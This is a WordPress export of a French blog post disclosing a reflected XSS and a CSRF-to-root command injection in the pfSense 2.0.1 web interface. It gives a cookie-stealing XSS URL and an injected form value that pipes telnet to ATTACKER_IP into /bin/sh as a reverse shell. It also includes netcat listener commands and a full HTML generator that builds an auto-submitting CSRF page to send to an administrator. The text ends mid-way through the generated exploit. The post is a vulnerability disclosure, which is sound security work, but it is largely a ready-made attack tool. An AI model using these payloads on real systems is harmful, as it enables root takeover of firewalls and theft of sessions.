{"id":326,"date":"2013-01-02T11:31:59","date_gmt":"2013-01-02T09:31:59","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=326"},"modified":"2016-07-25T00:42:13","modified_gmt":"2016-07-24T22:42:13","slug":"xss-csrf-rce-pfsense-2-0-1-remote-root-access","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/xss-csrf-rce-pfsense-2-0-1-remote-root-access\/","title":{"rendered":"[XSS &#038; CSRF RCE] pfSense 2.0.1 Remote root Access"},"content":{"rendered":"<p><\/p>\n<p><strong>Une vuln\u00e9rabilit\u00e9 de type XSS non-persistante et une CSRF RCE permettant l&#8217;obtention d&#8217;un shell root ont \u00e9t\u00e9 d\u00e9couverte sur pfSense.<\/strong><\/p>\n<p>pfSense est une distribution routeur\/firewall bas\u00e9e sur FreeBSD jug\u00e9e d&#8217;une grande fiabilit\u00e9. Issu d&#8217;un projet r\u00e9alis\u00e9 en 2004 du nom de &#8220;<a title=\"Site officiel de m0n0wall\" href=\"http:\/\/m0n0.ch\/wall\/\" target=\"_blank\">m0n0wall<\/a>&#8220;, qui a \u00e9t\u00e9 \u00e9galement analys\u00e9 <a title=\"[CSRF RCE] m0n0wall 1.33 Remote root Access\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/csrf-rce-m0n0wall-1-33-remote-root-access\/\">ici<\/a>, la version 1.0 a vu le jour le 4 octobre 2006 et la derni\u00e8re release 2.0.1 date de d\u00e9cembre 2011.<\/p>\n<p>Suite \u00e0 son d\u00e9ploiement r\u00e9cent dans un environnement virtuel en guise de test, il a \u00e9t\u00e9 possible d&#8217;exploiter ses fonctionnalit\u00e9s et toute sa puissance qui justifient amplement ses multiples \u00e9loges de part le web.<\/p>\n<p>Administrable via SSH ou part le biais d&#8217;une interface web (WebGUI), son fonctionnement interne et a pu \u00eatre analys\u00e9 plus en profondeur.<\/p>\n<p>Il s&#8217;av\u00e8re que dans la derni\u00e8re version, la 2.0.1 qui peut \u00eatre t\u00e9l\u00e9charg\u00e9e sur le <a title=\"pfSense site officiel\" href=\"http:\/\/www.pfsense.org\" target=\"_blank\">site officiel<\/a>, quelques vuln\u00e9rabilit\u00e9s sont exploitables qui peuvent engendrer la corruption de cette distribution orient\u00e9e s\u00e9curit\u00e9.<\/p>\n<p>Dans un premier temps, une vuln\u00e9rabilit\u00e9 de type XSS non-persistante par variable GET a pu \u00eatre exploit\u00e9e, ainsi qu&#8217;une CSRF permettant l&#8217;obtention d&#8217;un shell sous le compte root \u00e0 distance (RCE pour <em>Remote Command Execution<\/em>).<\/p>\n<blockquote>\n<p>Les attaques de type Cross-Site Request Forgery (abr\u00e9g\u00e9es CSRF prononc\u00e9es sea-surfing ou parfois XSRF) utilisent l&#8217;utilisateur comme d\u00e9clencheur, celui-ci devient complice sans en \u00eatre conscient. L&#8217;attaque \u00e9tant actionn\u00e9e par l&#8217;utilisateur, un grand nombre de syst\u00e8mes d&#8217;authentification sont contourn\u00e9s.<\/p>\n<\/blockquote>\n<p>Cette analyse s&#8217;est principalement focalis\u00e9e sur l&#8217;administration WebGUI enti\u00e8rement \u00e9crite en PHP. Cette application web se scinde en de nombreux fichiers et dispose d&#8217;un m\u00e9canisme de protection anti-CSRF nomm\u00e9 &#8220;<a title=\"CSRFMagic\" href=\"http:\/\/csrf.htmlpurifier.org\/\">CSRF Magic<\/a>&#8221; fonctionnant par le biais de jeton (<em>token<\/em>) qui transite avec les diverses requ\u00eates XHR.<\/p>\n<p>Le code du WebGUI dispose de nombreuses XSS particuli\u00e8rement visibles qui ne s&#8217;av\u00e8rent toutefois pas exploitables via l&#8217;inclusion des scripts de protection CSRF. A titre d&#8217;exemple :<\/p>\n<p>Fichier <strong>\/usr\/local\/www\/progress.php<\/strong>, ligne 21 \u00e0 30, vuln\u00e9rabilit\u00e9 potentielle \u00e0 la ligne 25 :<\/p>\n<p>[php]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$X = upload_progress_meter_get_info( $_GET[&amp;amp;amp;quot;UPLOAD_IDENTIFIER&amp;amp;amp;quot;] );&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nif (!$X) {&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;if ( array_key_exists( &amp;amp;amp;quot;e&amp;amp;amp;quot;, $_GET ) ) {&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;quot;&amp;amp;amp;lt;HTML&amp;amp;amp;gt;&amp;amp;amp;lt;BODY onLoad=&#8217;window.close();&#8217;&amp;amp;amp;gt;&amp;amp;amp;quot; . gettext(&amp;amp;amp;quot;Invalid Meter ID&amp;amp;amp;quot;) . &amp;amp;amp;quot;! {$_GET[&amp;amp;amp;quot;UPLOAD_IDENTIFIER&amp;amp;amp;quot;]}&amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo (&#8216;&amp;amp;amp;lt;\/BODY&amp;amp;amp;gt;&amp;amp;amp;lt;\/HTML&amp;amp;amp;gt;&#8217;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }else{&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo (&#8216;&amp;amp;amp;lt;HTML&amp;amp;amp;gt;&amp;amp;amp;lt;meta HTTP-EQUIV=&amp;amp;amp;quot;Refresh&amp;amp;amp;quot; CONTENT=&amp;amp;amp;quot;1; url=&#8217;. $url .&#8217;&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;BODY&amp;amp;amp;gt;&amp;amp;amp;lt;\/BODY&amp;amp;amp;gt;&amp;amp;amp;lt;\/HTML&amp;amp;amp;gt;&#8217;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n exit;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p>Un &#8220;echo&#8221; basique d&#8217;un bout de code HTML avec la variable GET &#8220;UPLOAD_IDENTIFIER&#8221; est r\u00e9alis\u00e9 sans \u00eatre nettoy\u00e9 (<em>sanitize<\/em>). Toutefois, ce fichier utilise la fonction &#8220;upload_progress_meter_get_info()&#8221; qui n&#8217;est pas d\u00e9finie lors d&#8217;un appel direct retournant l&#8217;erreur suivante avant m\u00eame l&#8217;ex\u00e9cution de l&#8217;XSS :<\/p>\n<blockquote>\n<p>Fatal error: Call to undefined function upload_progress_meter_get_info() in \/usr\/local\/www\/progress.php on line 21<\/p>\n<\/blockquote>\n<p>Fichier <strong>\/usr\/local\/www\/system_gateways_edit.php<\/strong>, ligne 252 \u00e0 256, vuln\u00e9rabilit\u00e9 potentielle \u00e0 la ligne 253 :<\/p>\n<p>[php]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nif($_REQUEST[&#8216;isAjax&#8217;]) {&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo $_POST[&#8216;name&#8217;];&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n exit;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n} else if (!empty($reloadif))&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n send_event(&amp;amp;amp;quot;interface reconfigure {$reloadif}&amp;amp;amp;quot;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p>Idem, un &#8220;echo&#8221; d&#8217;une variable POST non-nettoy\u00e9e est r\u00e9alis\u00e9. Toutefois ce fichier inclu le script de protection CSRFMagic et est donc difficilement exploitable.<\/p>\n<p>A de multiples autres endroits de telles variables GET ou POST sont arbitrairement modifiables par un utilisateur en vue de forger des comportement sp\u00e9cifique dans le WebGUI. Il serait d&#8217;int\u00e9r\u00eat de prot\u00e9ger ces variables en les nettoyant via des &#8220;<a title=\"Fonction htmlentities() de PHP\" href=\"http:\/\/fr2.php.net\/manual\/fr\/function.htmlentities.php\" target=\"_blank\">htmlentities()<\/a>&#8221; ou &#8220;<a title=\"Fonction htmlspecialchars() de PHP\" href=\"http:\/\/php.net\/manual\/fr\/function.htmlspecialchars.php\" target=\"_blank\">htmlspecialchars()<\/a>&#8221; bien que le syst\u00e8me de protection anti-CSRF soit pr\u00e9sent.<\/p>\n<p>Une XSS via variable GET non-persistante est toutefois pr\u00e9sente et fonctionnelle dans le fichier <strong>\/usr\/local\/www\/pkg_mgr_install.php<\/strong> \u00e0 la ligne 166 :<\/p>\n<p>[php]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nupdate_output_window(sprintf(gettext(&amp;amp;amp;quot;Could not find %s.&amp;amp;amp;quot;), $_GET[&#8216;pkg&#8217;]));&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p>La variable GET &#8220;pkg&#8221; n&#8217;est pas nettoy\u00e9e avant d&#8217;\u00eatre transmise \u00e0 une fonction qui g\u00e9n\u00e8re un code JavaScript. Cette XSS est exploitable via l&#8217;URL suivante :<\/p>\n<p>[code]http:\/\/pfsense_url\/pkg_mgr_install.php?mode=installedinfo&amp;amp;amp;amp;pkg=x%22;alert(document.cookie);this.document.forms[0].output.value+=%22[\/code]<\/p>\n<div id=\"attachment_328\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img1.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-328\" class=\"size-medium wp-image-328\" title=\"XSS dans le WebGUI de pfSense 2.0.1\" alt=\"XSS dans le WebGUI de pfSense 2.0.1\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img1-300x110.png\" width=\"300\" height=\"110\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img1-300x110.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img1.png 1001w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-328\" class=\"wp-caption-text\">XSS dans le WebGUI de pfSense 2.0.1<\/p><\/div>\n<p>L&#8217;ex\u00e9cution de code PHP arbitraire (dont l&#8217;obtention d&#8217;un shell) pourrait \u00e9galement \u00eatre r\u00e9alis\u00e9 au travers du fichier <strong>\/usr\/local\/www\/exec.php<\/strong> \u00e0 la ligne 244 :<\/p>\n<p>[php]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nif (!isBlank($_POST[&#8216;txtPHPCommand&#8217;])) {&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n puts(&amp;amp;amp;quot;&amp;amp;amp;lt;pre&amp;amp;amp;gt;&amp;amp;amp;quot;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n require_once(&amp;amp;amp;quot;config.inc&amp;amp;amp;quot;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n require_once(&amp;amp;amp;quot;functions.inc&amp;amp;amp;quot;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo eval($_POST[&#8216;txtPHPCommand&#8217;]);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n puts(&amp;amp;amp;quot;&amp;amp;amp;lt;\/pre&amp;amp;amp;gt;&amp;amp;amp;quot;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p>La fonction &#8220;eval&#8221; de PHP ex\u00e9cute le code transmis au travers de la variable POST &#8220;txtPHPCommand&#8221;, mais le script anti-CSRF bloque \u00e9galement l&#8217;injection de tels codes. Il est toutefois souhait\u00e9 de renforcer cette instruction.<\/p>\n<p>Le syst\u00e8me de protection anti-CSRF est donc relativement efficace, mais les instructions non-prot\u00e9g\u00e9es devraient toutefois l&#8217;\u00eatre. Les scripts du WebGUI ne sont pas tous prot\u00e9g\u00e9s par CSRFMagic, et c&#8217;est justement ce qui permet l&#8217;obtention par une personne arbitraire d&#8217;un shell root sur la distribution pfSense.<\/p>\n<p>Le fichier <strong>\/usr\/local\/www\/system_firware.php<\/strong>\u00a0n\u2019inclut\u00a0pas la protection CSRF (en amont du fichier, la variable &#8220;$nocsrf&#8221; est d\u00e9finie \u00e0 &#8220;True&#8221;). Ainsi, la ligne 118 pr\u00e9sente une vuln\u00e9rabilit\u00e9 exploitable :<\/p>\n<p>[php]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nif($_POST[&#8216;kerneltype&#8217;]) {&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n if($_POST[&#8216;kerneltype&#8217;] == &amp;amp;amp;quot;single&amp;amp;amp;quot;)&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n system(&amp;amp;amp;quot;touch \/boot\/kernel\/pfsense_kernel.txt&amp;amp;amp;quot;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n else&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n system(&amp;amp;amp;quot;echo {$_POST[&#8216;kerneltype&#8217;]} &amp;amp;amp;gt; \/boot\/kernel\/pfsense_kernel.txt&amp;amp;amp;quot;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p>L&#8217;appel de la fonction &#8220;system()&#8221; de PHP permet d&#8217;ex\u00e9cuter ce qui est pass\u00e9 en param\u00e8tre au travers d&#8217;un shell. Le param\u00e8tre inclu une variable POST &#8220;kerneltype&#8221; qui n&#8217;est pas nettoy\u00e9e via la fonction &#8220;<a title=\"Fonction escapeshellarg() de PHP\" href=\"http:\/\/php.net\/manual\/fr\/function.escapeshellarg.php\" target=\"_blank\">escapeshellarg()<\/a>&#8220;. Ainsi, cette variable peut d\u00e9tourner la commande \u00e0 ex\u00e9cuter.<\/p>\n<p>Par d\u00e9faut, la cha\u00eene de caract\u00e8re &#8220;SMP&#8221; est pass\u00e9e au travers de cette variable, pour finalement \u00eatre \u00e9crite dans le fichier pfsense_kernel.txt. L&#8217;id\u00e9e est de modifier cette variable pour l&#8217;otention d&#8217;un reverse-shell sur la distribution pfSense.<\/p>\n<p>L\u00e9gitimement, la commande ex\u00e9cut\u00e9e via la fonction &#8220;system()&#8221; est semblable \u00e0 celle-ci :<\/p>\n<p>[bash]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\necho SMP &amp;amp;amp;gt; \/boot\/kernel\/pfsense_kernel.txt&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/bash]<\/p>\n<p>Si l&#8217;on d\u00e9finie la variable POST &#8220;kerneltype&#8221; avec la valeur suivante :<\/p>\n<p>[php]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nSMP &amp;amp;amp;gt; \/boot\/kernel\/pfsense_kernel.txt;telnet ATTACKER_IP 1337 | \/bin\/sh | telnet ATTACKER_IP 1338&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p>Alors, l&#8217;attaquant peut r\u00e9cup\u00e9rer un shell sur la machine simplement.<br \/>\nIl faut pour cela que l&#8217;attaquant place deux terminaux avec Netcat en \u00e9coute sur deux ports distincts sur sa propre machine. Le premier terminal servira \u00e0 l&#8217;envoie des commandes \u00e0 pfSense (via le port 1337), et le second terminal s&#8217;occupera de r\u00e9cup\u00e9rer les r\u00e9sultats des commandes pass\u00e9es (via le port 1338).<\/p>\n<p>Lancement des netcat sur la machine de l&#8217;attaquant :<\/p>\n<p>[bash]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nnc -l -vv -p 1337&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nnc -l -vv -p 1338&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/bash]<\/p>\n<div id=\"attachment_329\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img2.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-329\" class=\"size-medium wp-image-329\" title=\"Les netcat en \u00e9coutes\" alt=\"Les netcat en \u00e9coutes\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img2-300x75.png\" width=\"300\" height=\"75\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img2-300x75.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img2-1024x257.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img2.png 1351w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-329\" class=\"wp-caption-text\">Les netcat en \u00e9coutes<\/p><\/div>\n<p>Suite au placement en \u00e9coute de ces deux netcat, l&#8217;attaquant doit forger la page qui va servir \u00e0 la CSRF \u00e0 envoyer \u00e0 l&#8217;administrateur l\u00e9gitime. Pour r\u00e9aliser cela, voici un mini-g\u00e9n\u00e9rateur de CSRF destin\u00e9e \u00e0 cet exploit :<\/p>\n<p>[html]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;html&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;head&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;script&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nfunction trim(s){&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nreturn s.replace(\/\\r\\n|\\r|\\n|\\t\/g,&#8221;).replace(\/^\\s+\/g,&#8221;).replace(\/\\s+$\/g,&#8221;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;function generateCSRF(){&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar target = trim(document.getElementById(&amp;amp;amp;quot;target&amp;amp;amp;quot;).value);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar attacker = trim(document.getElementById(&amp;amp;amp;quot;attacker&amp;amp;amp;quot;).value);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar sendport = trim(document.getElementById(&amp;amp;amp;quot;sendport&amp;amp;amp;quot;).value);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n var readport = trim(document.getElementById(&amp;amp;amp;quot;readport&amp;amp;amp;quot;).value);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar resultjs = &amp;amp;amp;quot;&amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nresultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;html&amp;amp;amp;gt;&amp;amp;amp;lt;body&amp;amp;amp;gt;&amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;&amp;amp;amp;quot; + target + &amp;amp;amp;quot;system_firmware.php&#8217; method=&#8217;post&#8217;&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nresultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;kerneltype&#8217; value=&#8217;SMP &amp;amp;amp;gt; \/boot\/kernel\/pfsense_kernel.txt;telnet &amp;amp;amp;quot; + attacker + &amp;amp;amp;quot; &amp;amp;amp;quot; + sendport + &amp;amp;amp;quot; | \/bin\/sh | telnet &amp;amp;amp;quot; + attacker + &amp;amp;amp;quot; &amp;amp;amp;quot; + readport + &amp;amp;amp;quot;&#8217; \/&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nresultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;\/form&amp;amp;amp;gt;&amp;amp;amp;lt;script&amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;lt;\\\/script&amp;amp;amp;gt;&amp;amp;amp;lt;\/body&amp;amp;amp;gt;&amp;amp;amp;lt;\/html&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\ndocument.getElementById(&amp;amp;amp;quot;resultjs&amp;amp;amp;quot;).value = resultjs;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;&amp;amp;amp;lt;\/script&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;\/head&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;body onload=&amp;amp;amp;quot;generateCSRF();&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;h2&amp;amp;amp;gt;CSRF pfSense 2.0.1 to root RCE (reverse shell)&amp;amp;amp;lt;\/h2&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;p&amp;amp;amp;gt;pfSense 2.0.1, the latest firewall\/router distribution based on FreeBSD is vulnerable to a CSRF attack that allows gaining root access through a reverse shell.&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n The attacker must know the URL address of pfsense WebGui.&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n To obtain the reverseshell, attacker must place two netcat in listening mode on two different ports. One will be used to send commands and the other for receiving results.&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n On attacker machine :&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;pre&amp;amp;amp;gt;nc -l -vv -p 1337 # First netcat listener, to enter shell command.&amp;amp;amp;lt;\/pre&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;pre&amp;amp;amp;gt;nc -l -vv -p 1338 # Second netcat listener, to receive commands results.&amp;amp;amp;lt;\/pre&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n (admin hash is in the \/config\/config.xml file on pfSense)&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/p&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;form action=&amp;amp;amp;quot;&amp;amp;amp;quot; onsubmit=&amp;amp;amp;quot;generateCSRF();return false;&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;table&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;amp;amp;lt;td&amp;amp;amp;gt;URL&#8217;s pfSense 2.0.1 Targeted :&amp;amp;amp;lt;\/td&amp;amp;amp;gt;\u00a0&amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;input id=&amp;amp;amp;quot;target&amp;amp;amp;quot; type=&amp;amp;amp;quot;text&amp;amp;amp;quot; value=&amp;amp;amp;quot;http:\/\/192.168.0.254:80\/&amp;amp;amp;quot; size=&amp;amp;amp;quot;70&amp;amp;amp;quot; onkeyup=&amp;amp;amp;quot;generateCSRF();&amp;amp;amp;quot; \/&amp;amp;amp;gt;&amp;amp;amp;lt;\/td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/tr&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;amp;amp;lt;td&amp;amp;amp;gt;Attacker IP (reverse shell) :&amp;amp;amp;lt;\/td&amp;amp;amp;gt;\u00a0&amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;input id=&amp;amp;amp;quot;attacker&amp;amp;amp;quot; type=&amp;amp;amp;quot;text&amp;amp;amp;quot; value=&amp;amp;amp;quot;192.168.0.141&amp;amp;amp;quot; size=&amp;amp;amp;quot;70&amp;amp;amp;quot; onkeyup=&amp;amp;amp;quot;generateCSRF();&amp;amp;amp;quot; \/&amp;amp;amp;gt;&amp;amp;amp;lt;\/td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/tr&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;amp;amp;lt;td&amp;amp;amp;gt;Attacker binded port to send commands :&amp;amp;amp;lt;\/td&amp;amp;amp;gt;\u00a0&amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;input id=&amp;amp;amp;quot;sendport&amp;amp;amp;quot; type=&amp;amp;amp;quot;text&amp;amp;amp;quot; value=&amp;amp;amp;quot;1337&amp;amp;amp;quot; size=&amp;amp;amp;quot;70&amp;amp;amp;quot; onkeyup=&amp;amp;amp;quot;generateCSRF();&amp;amp;amp;quot; \/&amp;amp;amp;gt;&amp;amp;amp;lt;\/td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/tr&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;amp;amp;lt;td&amp;amp;amp;gt;Attacker binded port to read results :&amp;amp;amp;lt;\/td&amp;amp;amp;gt;\u00a0&amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;input id=&amp;amp;amp;quot;readport&amp;amp;amp;quot; type=&amp;amp;amp;quot;text&amp;amp;amp;quot; value=&amp;amp;amp;quot;1338&amp;amp;amp;quot; size=&amp;amp;amp;quot;70&amp;amp;amp;quot; onkeyup=&amp;amp;amp;quot;generateCSRF();&amp;amp;amp;quot; \/&amp;amp;amp;gt;&amp;amp;amp;lt;\/td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/tr&amp;amp;amp;gt;&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;&amp;amp;amp;lt;tr&amp;amp;amp;gt;\u00a0&amp;amp;amp;lt;td&amp;amp;amp;gt;CSRF exploit to send to an admin : &amp;amp;amp;lt;\/td&amp;amp;amp;gt;\u00a0&amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;textarea cols=&amp;amp;amp;quot;70&amp;amp;amp;quot; rows=&amp;amp;amp;quot;10&amp;amp;amp;quot; id=&amp;amp;amp;quot;resultjs&amp;amp;amp;quot; readonly=&amp;amp;amp;quot;readonly&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;\/textarea&amp;amp;amp;gt;\u00a0&amp;amp;amp;lt;\/td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/tr&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/table&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/form&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/body&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;\/html&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/html]<\/p>\n<p>En ouvrant cette page dans votre navigateur, il est possible de forger la CSRF en fonction de vos r\u00e9glages.<br \/>\nIndiquer l&#8217;IP de l&#8217;attaquant (pour le reverse-shell), le port du premier netcat et le port du second ; sans oublier l&#8217;URL du pfSense cible :<\/p>\n<div id=\"attachment_330\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img3.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-330\" class=\"size-medium wp-image-330\" title=\"Le g\u00e9n\u00e9rateur de CSRF pour pfSense 2.0.1\" alt=\"Le g\u00e9n\u00e9rateur de CSRF pour pfSense 2.0.1\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img3-300x192.png\" width=\"300\" height=\"192\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img3-300x192.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img3-1024x656.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img3.png 1027w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-330\" class=\"wp-caption-text\">Le g\u00e9n\u00e9rateur de CSRF pour pfSense 2.0.1<\/p><\/div>\n<p>Ces champs renseign\u00e9s, le code de la CSRF est automatiquement g\u00e9n\u00e9r\u00e9, dans l&#8217;exemple :<\/p>\n<p>[html]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;html&amp;amp;amp;gt;&amp;amp;amp;lt;body&amp;amp;amp;gt;&amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/192.168.0.254:80\/system_firmware.php&#8217; method=&#8217;post&#8217;&amp;amp;amp;gt;&amp;amp;amp;lt;input 